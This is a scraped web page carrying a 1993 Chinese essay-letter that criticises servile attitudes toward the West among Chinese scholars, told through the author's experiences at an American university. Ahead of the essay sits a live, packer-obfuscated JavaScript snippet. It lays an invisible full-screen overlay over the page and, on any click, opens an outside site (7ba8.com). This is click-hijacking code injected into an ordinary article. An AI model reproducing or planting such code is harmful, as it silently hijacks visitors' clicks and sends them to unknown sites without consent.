<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>令人悲哀的卑谀心态
——《友人书简》之二
丹阳
文琪兄：
来信收到，读了好几遍，很解渴。我同意你对20世纪后半叶以来西方国家在控制世界不平等格局中使用的一些手段的分析。我也深感：在这些手段中，文化心态的操纵和控制是非常重要的一个方面。而近年来在这不平等的世界格局下生活的同胞中发展蔓延的某种卑谀之风气也一直使我心难静，意不平。
大约是在1985年的深秋，我还在A大学念书，一日傍晚，接朋友电话，说是国内新来的一位访问学者M教授，想见见我；因为他得知我的导师之一D教授是美国近年来学术界重要的知名人物，想向我了解些情况，并希望能去听听课。我放下手中的功课便去了朋友住处。三人聊至半夜，尽兴而归。D先生确实是我所见到的美国学者中头脑异常敏捷，见解极其尖锐的一流人物。他研究欧洲近代思想史，走的是一条从哲学到历史到文学，然后又回过头将文、史、哲熔于一炉的研究道路。这样一种综合性的思考方法，在中国人看来，很容易理解，虽然很不容易做；但在以精细的理性分析和严格的专业分工为正宗传统的西方学者中，这种方法显得出格地标新立异，人们不知道是应当将他列为文学理论家，抑或思想史家，还是哲学批评家。因此，他的名气是与日俱增；但在同僚中，他实际上颇感孤独，且常有被人党同伐异之危。从太平洋彼岸来的中国教授不仅知道他的工作，还想去听他的课，则不啻是一份难得的肯定了。
第二日，我早早到了教室，告诉D先生，有一位中国来的M教授很愿意听听他的课；看着D先生脸上几近孩童得到奖励时那样的笑容，我的心情也很愉快。毕竟，中国学者在人类文化的研究建设与交流发展中所担任的角色，还是有一定份量的。
M教授进了教室，出乎我意料的是，他一瞥见D教授，脸上立即现出一种几近谦卑的笑容，急步前趋，弯着腰背，满头的白头一额一颤，使我的心也随之发起颤来。他双手握住D先生伸出的右手，连连感谢D先生允许他来听课。然后是一大篇近乎阿谀的赞美之词。一份掺入D先生原先明朗的笑意，他转脸向我看过来。我则转身走到窗前，装作什么也没有看见，什么也没听见。我已经记不得D先生那天讲的是什么，只记得下课时，当我一边走出教室，回身看M教授，忍不住说了一句：“你为什么对他那么……客气？”他看了我一眼，叹了一口气，说：“咱们不懂人家的东西，只好这样呵！”我犹豫了一会，终于还是轻轻地说了：“其实，这也不必要的！”他默然，脸色有几分感慨，几分悻然，还有几分黯淡……
走向图书馆的路上，我想了很多。中国人之于西方，大约常有一份难解的“情结”：不是蔑其为“鬼子”，就是尊其为“大人”。对于“咱们不懂”、“咱们没有”的东西，或者是视为废气毒品，或者是捧为圣丹神药，而不善于在争取平等的奋斗中了解这些东西，在扬弃创造的过程中掌握这些东西，使之能为我们自己的生存与发展所用。博学与资深如M教授尚且如此，可见国人要做到既有自尊而又敏于汲取别人的经验长处，既有深刻的危机感而又不失自强奋斗的主心骨，还有一段漫长的路要走。
这些想法，文琪，我至今仍然自认是对的。只是流淌的岁月使我看到了更多的人和事，使我的思考增加了更多的层次与角度。我慢慢体验到某些国人对西方表现出来的那份或含蓄或直露的卑谀之气，并不仅仅是他们单方面无力自处自持的结果，人间万象，就没有这么简单的。
我永远记得1988年的一个冬日。
当时我已经修完全部必修的课程，正集中精力写学位论文。整天关在房间里与电脑为伴。一个月下来，也觉得单调，看到那一年东亚研究中心开设了《中国历史与文化》的大课，一周只两次，便心血来潮，决定去旁听；一是调节生活，二也是可以了解美国对中国研究的状况。我主修西欧文学与历史，平时完全没有时间顾及其他。
主持这门课的是历史系一位长着亚麻卷发身材瘦长的男子，面色苍白，举止温文。从他那里要了一张课程安排，逐段看完，便觉得有点不对劲。整个学期14个星期的课，其中前6个星期讲孔子中国，后7个星期讲搞改革的邓小平中国，中间那一个星期两堂课110分钟讲中国近代史、现代史和到1978年止的当代史的各方面情况。这是门普及性的大课，听课的有三百多学生，来自全校各系。他们对中国了解极少。这样的课程结构，会在学生脑子里留下一个什么样的“中国”呢？我带着满脑的疑问和好奇去听课了。
六个星期的孔夫子，详尽琐细，内容听起来是陈腐之极。对孔教规范的描述，使美国的青年人不仅很快觉得疲倦，而且渐渐生出厌烦。尤其是孔夫子对吃相、坐相、走相、说话相、穿衣相等等诸多的礼节，更使在上课时都能堂而皇之地将长腿搁到桌面上的学生大为反感。于是，到了第七个星期第一堂课，55分钟里囊括鸦片战争至中华人民共和国成立后第一个五年计划，课堂里便发生了这样的情形：
教授先用几句话总结了前六星期的孔夫子礼教规范，然后用另外几句话完成了对鸦片战争的描述：“我们讲了孔子的主要思想以及根据孔子的道德伦理人们必须遵守的种种规范。（学生面呈厌烦状）人们看到，做到言行规范化是很麻烦，并且常常是不方便的。历史到了1840年，英帝国出动军舰，为了鸦片贸易进军中国时，中国军队试图抵抗。（学生感兴趣）但是，非常自然地，只在几分钟之内，中国就落花流水了。”他淡淡地一笑，摊开双手，耸了耸肩。从听讲席三百多名学生中便漾出一片哄笑，好像看到一个老弱不堪、烦人烦了六个星期的孱弱老头，虚张声势地跳到美国橄榄球场上，还没有来得及动胳膊动腿，就被人几下踢出了脑浆一般好笑，好玩，解烦，解气。
我坐在三百多哄笑的美国学生中间，浑身一阵发冷，脑子却一阵发热。我心里立刻涌上来的，是林则徐严峻的面容，虎门全体战死者的尸体和血，还有圆明园无声的废墟。我下意识地四下扫了一眼，坐在我旁边的一位新结识的朋友玛丽安注意到我脸色，一双蓝得清澈的眸子关切地望着我：“丹，你没事吧？”她柔声问，记笔记的手早停下了。我努力控制着内心冲动着的怒气，平静地说：“这个教授讲得水平非常低，但玩弄材料倒很会用心思。”玛丽安似懂非懂，但用力地点头，大概是觉得她这样做能使我感觉好一点。
我坚持听完了这门课。后面七个星期的讲课围绕一个主题：中国正在努力摆脱共产党治下的枷锁（虽然学生在前面匆匆两堂课中，跟着教授翻着跟斗跳过一个半世纪的中国史，混沌中很难说弄得明白什么是共产党），中国11亿人民正“跟着感觉走”，这感觉就是“跟着美国走，跟着华盛顿示意的中国道路”走……
文琪，这是80年代末，在美国著名的高等学府之一，人们得到的中国观。当中国留学生不得不与脑子里印着这样一幅中国画像的人们打交道时，付出的心理代价就可想而知了。这门《中国历史与文化》雇有三名助教，其中两名是主修中国政治的美国学生，另一名是中国留学生。他戴一副银边眼镜，英语流利，眉目清秀，只是那脸上冻结着的微笑，眼睛里游移的神色，尤其是对主讲教授脸色阴雨云晴的敏感与乖觉，使我有种说不清的悲哀之感。他好像做学生做得太久，做糊涂了，做成了奴才的模样；又好像是今天被人损一句，明天被人踢一脚，身心与肌肤都已麻木，自己的感觉究竟是什么早已不重要了。主讲人说什么就是什么，虽然这一回，课堂上讲授的，并不是M教授为之俯首的“咱们没有”、“咱们不懂”的圣丹神药，而是咱——们——自——己——的——历史和文化！
这一次经历的意外收获之一，是使我懂得了在美国，D先生那样的人的可贵。师生不是主仆，就好像现代化不是殖民化一样，在我原是不言而喻的天经地义；D先生待我的那一番平等与坦诚，我一直是视为理所当然的。但是，时日终于使我渐渐明白。文琪，我们从一个曾经倍受欺凌的国家走来，背负着生活与求索的双重压力。在美国这个西方第一位超级强权的国度里，在相当数量自觉不自觉地充满了种族优越感的人们中，不仅平等待我的朋友寻觅不易，而且，倘若不小心，还很可能失去自己对自身生命的认识与把握。先是再也无力以他山之石攻己之玉，进而则将有钱、有权。有势者的暗示误作自己的“感觉”和“前途”，追随这样的“前途”而去，把自己的金子也当作沙当作土抛弃，至于带点比M教授更明显，更自觉的卑气与谀气，还是其次的。
写到这里，文琪，我可以回到这封信的本题了。正是这样一种带着或隐或现的卑气与谀气的社会心态，在一部分同胞中蔓延，使一些国人在不知不觉中戕代着自己对世事独立的感知和判断力，而这种被戕伐的感知和判断力与大洋东岸起因复杂的西潮相互作用，便使得一批又一批中国人在带着各种各样“平等竞争”的幻想，踏上了白人统治的北美大陆。之后，在争活路、找饭吃的冷酷的社会现实中，一些人明明是做了牺牲品，却坚持自己是进了伊甸园，明明是经受着身心殖民化的惨痛磨难，却拍额称庆说获得了“现代化”的再生洗礼。这一切，都使我在沉静的书斋中沉静不下去。我做不到！文琪，我做不到轻巧地唱上几句“人生很无情，世界很无奈”，便心平气和地作壁上观；或者连壁上观也不作，什么也没看见，什么也没听见——我已经这样装过几回的，一辈子装下去吗？！
等你的信。
丹阳
1993年12月20日
（《中流》1994年第3期） |
收藏